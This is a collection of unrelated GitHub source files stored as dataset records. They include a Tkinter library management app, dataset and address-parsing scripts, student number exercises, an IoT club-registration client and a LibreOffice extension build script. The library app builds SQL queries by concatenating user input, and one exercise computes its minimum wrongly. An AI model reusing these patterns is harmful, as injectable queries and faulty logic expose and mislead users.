self.ff.place(x=0, y=110)\n self.f1 = Frame(self.ff, bg='#fff', width=500, height=200, bd=5, relief='flat')\n self.f1.place(x=200, y=15)\n self.ed = Frame(self.f1, bg='#0f624c', bd=0, relief='flat', width=490, height=35)\n self.ed.place(x=0, y=0)\n self.lac = Label(self.ed, text='DELETE BOOKS ', bg='#0f624c', fg='#fff', font=('Arial', 12,'bold'))\n self.lac.place(x=175, y=5)\n self.label8 = Label(self.f1, text='Book ID', bg='#fff', fg='black', font=('arial', 10, 'bold'))\n self.label8.place(x=85, y=65)\n self.entry4 = Entry(self.f1, width=30, bd=4, relief='groove', font=('arial', 8, 'bold'))\n self.entry4.place(x=188, y=65)\n self.button9 = Button(self.f1, text='Delete', bg='#0f624c', fg='#fff', width=24, height=0,\n font=('Arial', 10, 'bold'),command=self.deldata)\n self.button9.place(x=140, y=120)\n\n self.backbt = Button(self.ff,width=60, bg='#5F84D3',activebackground='#5F84D3',\n bd=0, relief='flat', command=self.cur)\n self.backbt.place(x=0, y=0)\n self.log = PhotoImage(file='back.png')\n self.backbt.config(image=self.log, compound=LEFT)\n self.small_log = self.log.subsample(1, 1)\n self.backbt.config(image=self.small_log)\n\n\n def deldata(self):\n self.a=self.entry4.get()\n cursor=dd.cursor()\n cursor.execute(\"DELETE FROM stbook WHERE Book_ID='\"+self.a+\"'\")\n dd.commit()\n self.da=cursor.fetchone()\n if self.da!=None:\n messagebox.showinfo('Library System','YOUR DATA IS DELETED !')\n else:\n messagebox.showerror('Library System','YOUR DATA IS DELETED !')\n\n occ=dele()\n occ.deleteee()\n\n #------------------------------------------------------------------------------------------------\n\n\n #---------------------------------------Search Books---------------------------------------------\n\n def search(self):\n class demt(maincode):\n def delmdata(self):\n\n self.fc = Frame(root, bg='#5F84D3', width=900, height=370)\n self.fc.place(x=0, y=110)\n self.fc1 = Frame(self.fc, bg='#fff', width=500, height=200, bd=5, relief='flat')\n self.fc1.place(x=200, y=15)\n self.edm = Frame(self.fc1, bg='#0f624c', bd=0, relief='flat', width=490, height=35)\n self.edm.place(x=0, y=0)\n self.lac = Label(self.edm, text='SEARCH BOOKS ', bg='#0f624c', fg='#fff', font=('Arial', 12, 'bold'))\n self.lac.place(x=175, y=5)\n self.label8 = Label(self.fc1, text='Book ID', bg='#fff', fg='black', font=('arial', 10, 'bold'))\n \n self.label8.place(x=85, y=65)\n self.entryl= Entry(self.fc1, width=30, bd=4, relief='groove', font=('arial', 8, 'bold'))\n self.entryl.place(x=188, y=65)\n self.butto = Button(self.fc1, text='Search', bg='#0f624c', fg='#fff', width=24, height=0,\n font=('Arial', 10, 'bold'),command=self.srch)\n self.butto.place(x=140, y=120)\n\n self.backbt = Button(self.fc,width=60, bg='#5F84D3',activebackground='#5F84D3',bd=0, relief='flat', command=self.cur)\n self.backbt.place(x=0, y=0)\n self.log = PhotoImage(file='back.png')\n self.backbt.config(image=self.log, compound=LEFT)\n self.small_log = self.log.subsample(1, 1)\n self.backbt.config(image=self.small_log)\n\n\n def srch(self):\n self.emp=self.entryl.get()\n cursor=dd.cursor()\n cursor.execute(\"SELECT * FROM stbook WHERE Book_ID='\"+self.emp+\"'\")\n dd.commit()\n self.srval=cursor.fetchone()\n if self.srval!=None:\n\n self.top=Tk()\n self.top.title(\"Library System\")\n self.top.iconbitmap(\"aa.ico\")\n self.top.geometry(\"300x300+600+300\")\n self.top.resizable(0, 0)\n self.top.configure(bg='#fff')\n\n self.frm=Frame(self.top,bg='#0f624c',width=300,height=35)\n self.frm.place(x=0,y=0)\n\n self.mnlb=Label(self.frm,bg='#0f624c',fg='#fff',text=\"Avaliable\",font=('arial',11,'bold'))\n self.mnlb.place(x=120,y=5)\n\n self.lb1 = Label(self.top, text='Title :', bg='#fff', fg='blue', font=('arial', 12, 'bold'))\n self.lb1.place(x=40,y=80)\n self.lb2=Label(self.top,text=self.srval[1],bg='#fff',fg='blue',font=('arial',12,'bold'))\n self.lb2.place(x=120,y=80)\n\n self.lb3 = Label(self.top, text='Author :', bg='#fff', fg='blue', font=('arial', 12, 'bold'))\n self.lb3.place(x=40, y=160)\n self.lb4 = Label(self.top, text=self.srval[2], bg='#fff', fg='blue', font=('arial', 12, 'bold'))\n self.lb4.place(x=120, y=160)\n\n self.lb5 = Label(self.top, text='Edition :', bg='#fff', fg='blue', font=('arial', 12, 'bold'))\n self.lb5.place(x=40, y=240)\n self.lb6 = Label(self.top, text=self.srval[3], bg='#fff', fg='blue', font=('arial', 12, 'bold'))\n self.lb6.place(x=120, y=240)\n\n\n else:\n messagebox.showwarning('Library System','YOUR DATA IS NOT AVAILABLE !')\n\n object=demt()\n object.delmdata()\n\n #-----------------------------------------------------------------------------------------------------\n\n\n #-------------------------------------------SHOW BOOKS_------------------------------------------------\n\n def show(self):\n class tst(maincode):\n def __init__(self):\n self.fc = Frame(root, bg='#5F84D3', width=900, height=370)\n self.fc.place(x=0, y=110)\n self.popframe=Frame(self.fc,width=900,height=30,bg='#0f624c')\n self.popframe.place(x=0,y=0)\n self.lbn=Label(self.popframe,bg='#0f624c',text='BOOKS INFORMATION',fg='#fff',font=('arial',10,\n 'bold'))\n self.lbn.place(x=380,y=5)\n\n self.backbt = Button(self.popframe,width=30, bg='#0f624c',activebackground='#0f624c',\n bd=0, relief='flat', command=self.cur)\n self.backbt.place(x=0, y=0)\n self.log = PhotoImage(file='back.png')\n self.backbt.config(image=self.log, compound=LEFT)\n self.small_log = self.log.subsample(2, 2)\n self.backbt.config(image=self.small_log)\n\n\n self.table_frame=Frame(self.fc,bg='#fff',bd=1,relief='flat')\n self.table_frame.place(x=0,y=30,width=900,height=360)\n\n self.scroll_x=Scrollbar(self.table_frame,orient=HORIZONTAL)\n self.scroll_y=Scrollbar(self.table_frame,orient=VERTICAL)\n self.book_table=ttk.Treeview(self.table_frame,columns=(\"Book ID\",\"Title\",\"Author\",\"Edition\",\n \"Price\"),\n xscrollcommand=self.scroll_x.set,yscrollcommand=self.scroll_y.set)\n self.scroll_x.pack(side=BOTTOM,fill=X)\n self.scroll_y.pack(side=RIGHT, fill=Y)\n self.scroll_x.config(command=self.book_table.xview)\n self.scroll_y.config(command=self.book_table.yview)\n\n self.book_table.heading(\"Book ID\",text=\"Book ID\")\n self.book_table.heading(\"Title\", text=\"Title\")\n self.book_table.heading(\"Author\", text=\"Author\")\n self.book_table.heading(\"Edition\", text=\"Edition\")\n self.book_table.heading(\"Price\", text=\"Price\")\n self.book_table['show']='headings'\n self.book_table.column(\"Book ID\",width=200)\n self.book_table.column(\"Title\", width=200)\n self.book_table.column(\"Author\", width=200)\n self.book_table.column(\"Edition\", width=120)\n self.book_table.column(\"Price\", width=110)\n self.book_table.pack(fill=BOTH,expand=1)\n self.fetch_data()\n\n def fetch_data(self):\n cursor=dd.cursor()\n cursor.execute(\"SELECT * FROM stbook\")\n self.rows=cursor.fetchall()\n if len(self.rows)!=0:\n for self.row in self.rows:\n self.book_table.insert('',END,values=self.row)\n dd.commit()\n\n\n oc=tst()\n\n #-----------------------------------------------------------------------------------------\n\n\n\n\n\n\n def code(self):\n\n self.fm=Frame(root,height=500,width=900,bg='white')\n self.fm.place(x=0,y=0)\n\n self.gf = GradientFrame(self.fm, colors = (\"#224b4a\", \"#22224b\"), width = 900, height = 500)\n self.gf.config(direction = self.gf.top2bottom)\n self.gf.place(x=-1,y=-1)\n \n\n # self.canvas=Canvas(self.fm,height=500,width=900,bg=gf)\n # self.canvas.place(x=0,y=0)\n\n self.photo=PhotoImage(file=\"D:\\\\Python project\\\\Library management System GUI\\\\images (17).png\")\n # self.gf.create_image(70,45,image=self.photo,anchor=NW)\n\n self.fm1=Frame(self.gf,height=260,width=300,bg='white',bd=3,relief='ridge')\n self.fm1.place(x=300,y=170)\n\n self.photo1=PhotoImage(file=\"D:\\\\Python project\\\\Library management System GUI\\\\dd2.png\")\n self.gf.create_image(330,5,image=self.photo1,anchor=NW)\n\n\n\n self.b1=Label(self.fm1,text='User ID',bg='white',font=('Arial',10,'bold'))\n self.b1.place(x=20,y=42)\n\n self.e1=Entry(self.fm1,width=22,font=('arial',9,'bold'),bd=4,relief='groove')\n self.e1.place(x=100,y=40)\n\n self.lb2=Label(self.fm1,text='Password',bg='white',font=('Arial',10,'bold'))\n self.lb2.place(x=20,y=102)\n\n self.e2=Entry(self.fm1,width=22,show='*',font=('arial',9,'bold'),bd=4,relief='groove')\n self.e2.place(x=100,y=100)\n\n\n self.btn1=Button(self.fm1,text=' login',fg='white',bg='red',width=100,font=('Arial',11,'bold'),\n activebackground='white',activeforeground='black',command=self.login,bd=3,relief='flat',cursor='hand2')\n self.btn1.place(x=25,y=160)\n self.logo = PhotoImage(file='user.png')\n self.btn1.config(image=self.logo, compound=LEFT)\n self.small_logo = self.logo.subsample(1, 1)\n self.btn1.config(image=self.small_logo)\n\n\n self.btn2=Button(self.fm1,text=' Clear',fg='white',bg='blue',width=100,font=('Arial',11,'bold'),\n activebackground='white',activeforeground='black',bd=3,relief='flat',cursor='hand2',\n command=self.mainclear)\n self.btn2.place(x=155,y=160)\n self.log = PhotoImage(file='cart.png')\n self.btn2.config(image=self.log, compound=LEFT)\n self.small_log = self.log.subsample(1, 1)\n self.btn2.config(image=self.small_log)\n \n\n\n\nmaincode().code()\nroot.mainloop()\n","repo_name":"arindm007/-Library-Management-System-","sub_path":"lms.py","file_name":"lms.py","file_ext":"py","file_size_in_byte":62196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"670558384","text":"from pathlib import Path\nfrom os.path import join\nfrom itertools import chain\nfrom zipfile import ZipFile\nimport subprocess\nimport yaml\n\nclass MyDumper(yaml.Dumper):\n def increase_indent(self, flow=False, indentless=False):\n return super(MyDumper, self).increase_indent(flow, False)\n\ndef process_config(config):\n \"\"\"Selectively choose the info on config.yml to retain.\"\"\"\n # remove keys of dataset input/output directories\n del config['dataset_in_dir']\n del config['dataset_out_dir']\n\n # rename output_columns key to columns\n config['columns'] = config.pop('output_columns')\n\n return config\n\n# open the datasets zip file\ndatasets = ZipFile('datasets.zip', 'w')\ncwd = Path.cwd()\n\n# iterate over the Portuguese and Spanish datasets\nfor dataset_dir in chain(cwd.glob('pt_*'), cwd.glob('es_*')):\n dataset_name = dataset_dir.name\n data_dir = dataset_dir / 'data'\n\n # create dataset if it has not yet been created\n if not data_dir.exists():\n print(f'Creating dataset {dataset_name}')\n subprocess.run(['python', 'create_dataset.py'], cwd=dataset_dir)\n\n # copy data files to the datasets zip file\n for data_file in data_dir.iterdir():\n datasets.write(data_file, join(dataset_name, data_file.name))\n\n # copy YAML file with dataset statistics\n stats_file = dataset_dir / 'stats.yml'\n datasets.write(stats_file, join(dataset_name, 'stats.yml'))\n\n # load the dataset's configuration file\n with open(dataset_dir / 'config.yml') as f:\n config = yaml.safe_load(f)\n\n # write the information inside the configuration file\n config_str = yaml.dump(process_config(config), Dumper=MyDumper, sort_keys=False)\n datasets.writestr(join(dataset_name, 'config.yml'), config_str)\n\n# copy datasets to the EMNLP BiLSTM-CNN-CRF data folder\ndestination_dir = Path('../emnlp2017-bilstm-cnn-crf/data/')\ndatasets.extractall(destination_dir)\n\nprint('Created zip file datasets.zip')\ndatasets.close()\n","repo_name":"luispsantos/msc-thesis","sub_path":"datasets/create_datasets.py","file_name":"create_datasets.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"42703995349","text":"from tkinter import N\n\n\nn = int(input(\"Digite o valor de n\"))\nv = [None]*n\nmaior = 0\nmenor = 65000\nindex_maior = 0\nindex_menor = 0\n\nfor i in range(n):\n v[i] = int(input(\"Digite\"))\n\nfor j in range(n):\n if maior < v[j]:\n maior = v[j]\n index_maior = j\n\nfor k in range(n):\n if menor > v[k]:\n menor = v[k]\n index_menor = k\n\nprint(f\"O maior número {maior} na posição {index_maior}, O menor número {menor} na posição {index_menor}\")\n","repo_name":"LucasKaiquee/Disciplina-APE","sub_path":"exercicios-vetor/exe5.py","file_name":"exe5.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"24454252631","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport json\nimport unicodedata\n\nfrom bs4 import BeautifulSoup as bs\n\n\ndef clean(string):\n # python-notes\n # https://stackoverflow.com/questions/4324790/removing-control-characters-from-a-string-in-python#19016117\n return \"\".join(character for character in string if unicodedata.category(character)[0]!=\"C\")\n\n\n# Receive HTML response\nwith open('raw.html', 'r') as file:\n raw = bs(file, 'lxml')\n\n# Fetch table rows, cut first one (header)\nrows = raw.find('tbody', {'id': 'ResultTableBody'}).find_all('tr')\n\ndata = []\n\nfor row in rows:\n info = row.find('div', {'class': 'infoKundeKurz'}).text\n info_list = info.splitlines()\n clean_list = [clean(item).strip() for item in info_list if clean(item).strip()]\n\n node = {}\n\n node['Anrede'] = ''\n node['Vorname'] = ''\n node['Nachname'] = clean_list[0]\n node['Namenszusatz-1'] = ''\n node['Namenszusatz-2'] = ''\n node['Straße'] = ' '.join(clean_list[1:2])\n node['PLZ'] = ' '.join(clean_list[2:]).split(' ')[0]\n node['Ort'] = ' '.join(' '.join(clean_list[2:]).split(' ')[1:])\n node['Telefon-1'] = ''\n node['Telefon-2'] = ''\n node['Fax'] = ''\n node['Email'] = ''\n node['Notiz'] = ''\n\n if len(clean_list) == 2:\n node['Straße'] = ''\n node['PLZ'] = ' '.join(clean_list[1:]).split()[0]\n node['Ort'] = ' '.join(' '.join(clean_list[1:]).split()[1:])\n\n if node['Ort'] == 'Freiburg i. Brsg.' or node['Ort'] == 'Freiburg im Breisgau' or node['Ort'] == 'Freiburg (Brsg)':\n node['Ort'] = 'Freiburg'\n\n if node['Ort'] == 'Staufen i. Breisgau':\n node['Ort'] = 'Staufen'\n\n if node['Nachname'] == None:\n node['Nachname'] = ''\n\n if node['Straße'] == None:\n node['Straße'] = ''\n\n if node['PLZ'] == None:\n node['PLZ'] = ''\n\n if node['Ort'] == None:\n node['Ort'] = ''\n\n data.append(node)\n\nwith open('data.json', 'w') as file:\n json.dump(data, file, ensure_ascii=False, indent=4)\n","repo_name":"fundevogel/pcbis-address-helper","sub_path":"src/invoices/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"18144709615","text":"N = int(input())\n\nmedia = 0\nsoma = 0\nproduto = 1\nmenor = 0\nmaior = 0\nfor i in range(0, N):\n entrada = int(input())\n soma += entrada\n produto *= entrada\n if(entrada < menor):\n menor = entrada\n if(entrada > maior):\n maior = entrada\n media = soma / N\n\nprint(media) \nprint(soma)\nprint(produto)\nprint(menor)\nprint(maior)\n\n\n","repo_name":"AmMorgen/pythonFacul","sub_path":"numeros2.py","file_name":"numeros2.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"21115015844","text":"import requests\nimport json\nimport sys\nfrom requests.exceptions import HTTPError\nimport os\nimport random\nimport string\nimport socket\n\n#************************************************************************************************\n# Receives club's info in order to create new channel ThingSpeak and initialize its fields\n# Returns channel id and keys\n#************************************************************************************************\n\nusersCatalogEP=\"http://192.168.1.70:8082/UserReg/registerOwnerUser\"\n\nclass MyOwnerClient(object):\n\n def __init__(self,_name,_surname,_clubName,_birthDate,_gender,_mobile,_lat,_long):\n \n self.ownerName=_name\n self.ownerSurname=_surname\n self.clubName=_clubName\n self.birthdate=_birthDate\n self.gender=_gender\n self.mobile=_mobile\n self.latitude=_lat\n self.longitude=_long\n self.getHostNameAndIP()\n\n #Open configuration file and copy all info in local variables\n self.extractInfoFromJSONconfig(os.path.dirname(os.path.abspath(__file__))+\"\\\\configuration.json\")\n \n #Register new owner in catalog\n self.userID=self.registerOwnerInCatalog(_catalogAddress=self.catalogAddress,_usersCatalogAddress=usersCatalogEP)\n \n #Get the TSinitializer service's address, and send all data necessary for TS new channel initialization\n TSinitializerAddress=self.getTSinitializerAddress(_catalogAddress=self.catalogAddress)\n TSinfo=self.sendDataToThingspeakInitializer(_thingspeakInitializerURL=TSinitializerAddress) \n\n #Extract (from the answer of the TSinitializer service) keys and channelID\n self.extractTSinfo(TSinfo)\n\n #Register new club on the catalog and get the assigned ID\n clubID=self.registerClubOnCatalog(_catalogAddress=self.catalogAddress)\n\n #Store the club id on the configuration file\n self.updateConfigurationFile(_clubID=clubID)\n\n #Get the FBinitializer service's address, and send all data necessary for the modification of the FB json\n FBinitializerAddress=self.getFBinitializerAddress(_catalogAddress=self.catalogAddress)\n self.objData = self.loadFile(os.path.dirname(os.path.abspath(__file__))+\"\\\\freeboard\\\\dashboard\\\\dashboard.json\")\n print(self.objData)\n print(os.path.dirname(os.path.abspath(__file__))+\"\\\\freeboard\\\\dashboard\\\\dashboard.json\")\n FBjson=self.sendDataToFreeboardInitializer(_freeboardInitializerURL=FBinitializerAddress,_FBjson=self.objData,_clubID=clubID)\n \n #update freeboard json file\n self.writeJSON(FBjson)\n \n def writeJSON(self,_data):\n print(\"Writing on file updated json\\n\")\n try:\n outfile=open(os.path.dirname(os.path.abspath(__file__))+\"\\\\freeboard\\\\dashboard\\\\dashboard.json\", 'w')\n except OSError:\n print (\"Couldn't open the requested json. The freeboard configuration file might be missing\")\n sys.exit()\n else: \n with outfile:\n json.dump(_data, outfile)\n\n def getHostNameAndIP(self):\n try: \n self.host_name = socket.gethostname() \n self.host_ip = socket.gethostbyname(self.host_name) \n #print(\"Hostname : \",self.host_name) \n #print(\"IP : \",self.host_ip) \n except Exception as e: \n print(\"Unable to get Hostname and IP\")\n print(str(e))\n sys.exit()\n \n def loadFile(self,JSONfile):\n print ('Reading current FB json into local object ')\n try:\n with open(JSONfile) as data_file: \n return json.load(data_file)\n except json.decoder.JSONDecodeError:\n print (\"Error in decoding json. Canceling procedure\")\n #sys.exit()\n \n def generateRandomString(self,desiredLength):\n randomID = ''.join([random.choice(string.ascii_letters \n + string.digits) for n in range(desiredLength)]) \n return randomID\n\n def registerClubOnCatalog(self,_catalogAddress):\n print(\"\\nAbout to register Club in catalog with following data\")\n myRegistrationData={\n 'ownerID': self.userID,\n 'name':self.clubName,\n 'thingspeak':{\n \"user_API_key\": self.userAPIkey,\n 'read_API_key':self.readAPIkey,\n 'write_API_key':self.writeAPIkey,\n 'channel_ID':self.channelID\n }\n }\n print(json.dumps(myRegistrationData))\n try:\n response = requests.post(_catalogAddress+\"/registerClub\",json=myRegistrationData)\n response.raise_for_status()# If the response was successful, no Exception will be raised\n except HTTPError as http_err:\n print('HTTP error occurred: {}'.format(http_err))\n except Exception as err:\n print('Other error occurred: {}'.format(err))\n else:\n print('Successful registration of new club')\n responseFromClubRegistrationService = json.loads(response.content.decode('utf8'))\n print(responseFromClubRegistrationService[\"club_id\"])\n print(\"\\n\")\n return responseFromClubRegistrationService[\"club_id\"]\n ##return club_ID\n\n def extractTSinfo(self,TSjsonObj):\n if \"error\" in TSjsonObj:##\n print(TSjsonObj[\"error\"])\n sys.exit()\n self.channelID=TSjsonObj[\"channel_id\"]\n self.writeAPIkey=TSjsonObj[\"write_API_key\"]\n self.readAPIkey=TSjsonObj[\"read_API_key\"]\n self.userAPIkey=TSjsonObj[\"user_API_key\"]\n\n\n def getTSinitializerAddress(self,_catalogAddress):\n print(\"Executing GET towards catalog to get TSinit address\")\n try:\n response=requests.get(self.catalogAddress+\"/TSinitializerAddress\")\n response.raise_for_status()\n responseObj=json.loads(response.content.decode('utf8'))\n except HTTPError as http_err:\n print('HTTP error occurred: {}'.format(http_err))\n except Exception as err:\n print('Other error occurred: {}'.format(err)) \n else:\n print(\"Here's the response:\")\n print(responseObj['TSinitAddress'])\n print(\"\\n\")\n return responseObj['TSinitAddress']\n \n def getFBinitializerAddress(self,_catalogAddress):\n print(\"Executing GET towards catalog to get FBinit address\")\n try:\n response=requests.get(self.catalogAddress+\"/FBinitializerAddress\")\n response.raise_for_status()\n responseObj=json.loads(response.content.decode('utf8'))\n except HTTPError as http_err:\n print('HTTP error occurred: {}'.format(http_err))\n except Exception as err:\n print('Other error occurred: {}'.format(err))\n else:\n print(\"Here's the response:\")\n print(responseObj['FBinitAddress'])\n return responseObj['FBinitAddress']\n\n def registerOwnerInCatalog(self,_catalogAddress,_usersCatalogAddress):\n print(\"\\nOwner registration\")\n myOwnerRegistrationData={\n 'name':self.ownerName,\n 'surname':self.ownerSurname,\n 'birth':self.birthdate,\n 'gender':self.gender,\n 'mobile':self.mobile}\n print(json.dumps(myOwnerRegistrationData))\n try:\n print(_usersCatalogAddress)\n response = requests.post(_usersCatalogAddress,json=myOwnerRegistrationData)\n response.raise_for_status() # If the response was successful, no Exception will be raised\n except HTTPError as http_err:\n print('HTTP error occurred: {}'.format(http_err))\n except Exception as err:\n print('Other error occurred: {}'.format(err)) \n else:\n responseFromOwnerRegistration = json.loads(response.content.decode('utf8'))\n if \"already_registered\" in responseFromOwnerRegistration:\n ownerResp=input(\"Can you confirm you have already registered? (s/n)\")\n if(ownerResp=='s'):\n print('UserID: {}'.format(responseFromOwnerRegistration['already_registered']))\n print(\"\\n\")\n return responseFromOwnerRegistration['already_registered']\n else:\n print(\"We are sorry, an error have occurred\")\n print('Successful registration of new owner!')\n print('UserID: {}'.format(responseFromOwnerRegistration['userID']))\n print(\"\\n\")\n return responseFromOwnerRegistration['userID']\n\n\n def sendDataToThingspeakInitializer(self,_thingspeakInitializerURL):\n dataToSend={\n #\"user_API_key\":self.userAPIkey,\n \"club_name\":self.clubName,\n \"owner_name\":self.ownerName,\n \"owner_surname\":self.ownerSurname\n }\n try:\n response = requests.post(_thingspeakInitializerURL,json=dataToSend)#create channel and fields\n response.raise_for_status()# If the response was successful, no Exception will be raised\n except HTTPError as http_err:\n print('HTTP error occurred: {}'.format(http_err))\n except Exception as err:\n print('Other error occurred: {}'.format(err)) \n else:\n print('Successful GET of TS data from ThingSpeakInitializerURL! And here is the response:')\n responseFromTS = json.loads(response.content.decode('utf8'))\n print(responseFromTS)\n print(\"\\n\")\n finally:\n return responseFromTS\n\n def sendDataToFreeboardInitializer(self,_freeboardInitializerURL,_FBjson,_clubID):\n print(\"\\nSending data and FB json to FBInitializer:\")\n dataToSend={\n \"channel_id\":self.channelID,\n \"club_id\":_clubID,#new 1/03\n \"club_name\":self.clubName,\n \"user_API_key\":self.userAPIkey,\n \"read_API_key\":self.readAPIkey,\n \"FB_json\":json.dumps(_FBjson),\n \"club_latitude\":self.latitude,\n \"club_longitude\":self.longitude\n }\n try:\n response = requests.post(_freeboardInitializerURL,json=dataToSend)#create channel and fields\n response.raise_for_status()# If the response was successful, no Exception will be raised\n except HTTPError as http_err:\n print('HTTP error occurred: {}'.format(http_err))\n except Exception as err:\n print('Other error occurred: {}'.format(err)) \n else:\n print('Successful initialization of Freeboard! Here is the updated json:')\n responseFromFB = json.loads(response.content.decode('utf8'))\n print(responseFromFB)\n print(\"\\n\")\n return responseFromFB\n\n def updateConfigurationFile(self,_clubID):\n self.loaded_json[\"club_id\"]=_clubID\n with open(os.path.dirname(os.path.abspath(__file__))+'\\\\configuration.json', 'w') as outfile:#different configuration files for each channel\n json.dump(self.loaded_json, outfile)\n\n def extractInfoFromJSONconfig(self,_jsonFilePath):\n try:\n with open(_jsonFilePath) as data_file: \n self.loaded_json = json.load(data_file)\n except:\n print (\"Error in decoding json. Canceling procedure\")\n sys.exit()\n else:\n self.catalogAddress=self.loaded_json[\"catalog_address\"]\n #self.userAPIkey=self.loaded_json[\"user_API_key\"]\n print(\"\\nExtracted data from json config:\\ncatalog address: {}\".format(self.catalogAddress))\n","repo_name":"mdamiani806/IoTonight","sub_path":"IoTonight/OwnerClient.py","file_name":"OwnerClient.py","file_ext":"py","file_size_in_byte":11618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"43621801829","text":"import os\nimport shutil\nimport subprocess\nimport zipfile\nfrom pathlib import Path\n\nfrom xml.sax.saxutils import escape\n\nVERSION = \"0.2.0\"\n\nRDB = \".rdb\"\nTYPES_RDB = \"types\" + RDB\n\npt = os.path.join\n\noffice_home = os.getenv(\"OFFICE_HOME\", \"/usr/lib/libreoffice\")\noo_sdk_home = os.getenv(\"OO_SDK_HOME\", pt(office_home, \"sdk\"))\noffice_program_path = os.getenv(\"OFFICE_PROGRAM_PATH\", pt(office_home, \"program\"))\n\nlib_name = \"MoreBasicFunctions\"\nservice_names = {\"Strings\": [\"XStrings\"]}\n\nlib_module = \"com.github.jferard.mbfs\"\nlib_path = lib_module.replace(\".\", os.path.sep)\nlib_root = lib_module.split(\".\")[0]\n\nwork_dir = \"temp\"\noxt_resources = \"oxt-resources\"\nts_resources = \"ts-resources\"\nidl_resources = \"idl\"\noxt_target = \"oxt-target\"\ndoc_dir = \"doc\"\n\nmvn_source = pt(\"src\", \"main\", \"java\")\n\nmbfs = \".\"\n\ntarget_dir = pt(work_dir, \"t_target\")\nsrc_dir = pt(work_dir, \"t_src\")\n\n# SDK binaries\nidlc = pt(oo_sdk_home, \"bin\", \"idlc\")\nregmerge = pt(office_program_path, \"regmerge\")\nregview = pt(office_program_path, \"regview\")\njavamaker = pt(oo_sdk_home, \"bin\", \"javamaker\")\nuno_skeletonmaker = pt(oo_sdk_home, \"bin\", \"uno-skeletonmaker\")\n\n\nclass MoreBasicFunctions:\n def __init__(self):\n pass\n\n def prepare(self):\n self._create_dirs()\n self._build_urds()\n self._merge_urds()\n self.check()\n self._generate_interface()\n self._generate_template()\n\n def _create_dirs(self):\n Path(work_dir).mkdir(parents=True, exist_ok=True)\n Path(src_dir).mkdir(parents=True, exist_ok=True)\n Path(target_dir).mkdir(parents=True, exist_ok=True)\n\n def _build_urds(self):\n for path in Path(idl_resources).glob(\"*.idl\"):\n print(f\"Processing {path}\")\n command = [idlc, \"-we\", \"-I\", pt(oo_sdk_home, \"idl\"), \"-O\", work_dir,\n str(path)]\n process = self._run_command(command)\n\n def _run_command(self, command, **kwargs):\n print(\"> \" + \" \".join(command))\n process = subprocess.run(command, stdout=subprocess.PIPE, universal_newlines=True, **kwargs)\n if process.returncode != 0:\n raise Exception(f\"{process.returncode} {process.stdout}\")\n return process\n\n def _merge_urds(self):\n print(f\"Merging URDS\")\n rdb = pt(work_dir, lib_name + RDB)\n try:\n os.unlink(rdb)\n except FileNotFoundError:\n pass\n process = self._run_command(\n [regmerge, \"-v\", rdb, \"UCR\"] + [str(p) for p in\n Path(work_dir).glob(\n \"*.urd\")])\n shutil.copy(rdb, pt(oxt_resources, lib_name + RDB))\n\n def check(self):\n print(f\"Showing RDB\")\n process = self._run_command(\n [regview, pt(work_dir, lib_name + RDB)])\n print(process.stdout)\n\n def _generate_interface(self):\n types = [f\"{lib_module}.{path.stem}\" for path in Path(idl_resources).glob(\"X*.idl\")]\n print(f\"Generating interfaces: {types}\")\n process = self._run_command(\n [javamaker, \"-T\", \";\".join(types), \"-nD\", pt(office_program_path, TYPES_RDB),\n pt(\"..\", lib_name + RDB)], cwd=target_dir)\n print(f\"Decompiling interfaces\")\n for c in Path(target_dir).rglob(\"*.class\"):\n print(f\"{c} -> {mvn_source}\")\n process = self._run_command([\"procyon\", \"-o\", str(mvn_source), str(c)])\n\n def _generate_template(self):\n types = []\n print(f\"Generating template\")\n for path in Path(idl_resources).glob(\"*.idl\"):\n interface = f\"{lib_module}.{path.stem}\"\n service = f\"{lib_module}.{path.stem}\"\n process = self._run_command(\n [uno_skeletonmaker, \"component\", \"-l\",\n pt(office_program_path, \"types.rdb\"), \"-l\", pt(\"..\", lib_name + RDB), \"-n\",\n service, \"-t\", interface], cwd=src_dir)\n\n def build(self):\n try:\n shutil.rmtree(Path(oxt_target))\n except FileNotFoundError:\n pass\n Path(oxt_target).mkdir(parents=True, exist_ok=True)\n self._maven()\n self._copy_jar()\n self._copy_resources()\n self._create_oxt(lib_name + \"-\" + VERSION + \".oxt\")\n self._copy_ts_resources()\n self._create_oxt(lib_name + \"-ts-\" + VERSION + \".oxt\")\n\n def _maven(self):\n process = self._run_command(\n [\"mvn\", \"clean\", \"install\"]\n )\n\n def _copy_jar(self):\n for p in Path(\"target\").glob(lib_name + \"*.jar\"):\n src = str(p)\n dest = pt(oxt_target, lib_name + \".jar\")\n print(f\"> Copy jar: {src} -> {dest}\")\n shutil.copy(src, dest)\n\n def _copy_resources(self):\n print(f\"> Copy resources: {oxt_resources}\")\n shutil.copytree(oxt_resources, oxt_target, dirs_exist_ok=True)\n\n def _copy_ts_resources(self):\n print(f\"> Copy TestSuite resources: {ts_resources}\")\n shutil.copytree(pt(ts_resources, \"META-INF\"), pt(oxt_target, \"META-INF\"),\n dirs_exist_ok=True)\n basic_module = pt(oxt_target, lib_name)\n Path(basic_module).mkdir()\n with Path(basic_module, \"script.xlb\").open(\"w\", encoding=\"utf-8\") as d:\n d.write(f\"\"\"\n\n\n\n\"\"\")\n with Path(basic_module, \"dialog.xlb\").open(\"w\", encoding=\"utf-8\") as d:\n d.write(f\"\"\"\n\n\n\"\"\")\n with Path(basic_module, lib_name + \".xba\").open(\"w\", encoding=\"utf-8\") as d:\n d.write(f\"\"\"\n\n\"\"\")\n with Path(ts_resources, \"TestSuite.txt\").open(\"r\", encoding=\"utf-8\") as s:\n d.write(escape(s.read()))\n d.write(\"\"\"\"\"\")\n\n def _create_oxt(self, oxt):\n print(f\"> Zip everything: {oxt_resources}\")\n dest = zipfile.ZipFile(oxt, 'w', zipfile.ZIP_DEFLATED)\n for root, dirs, files in 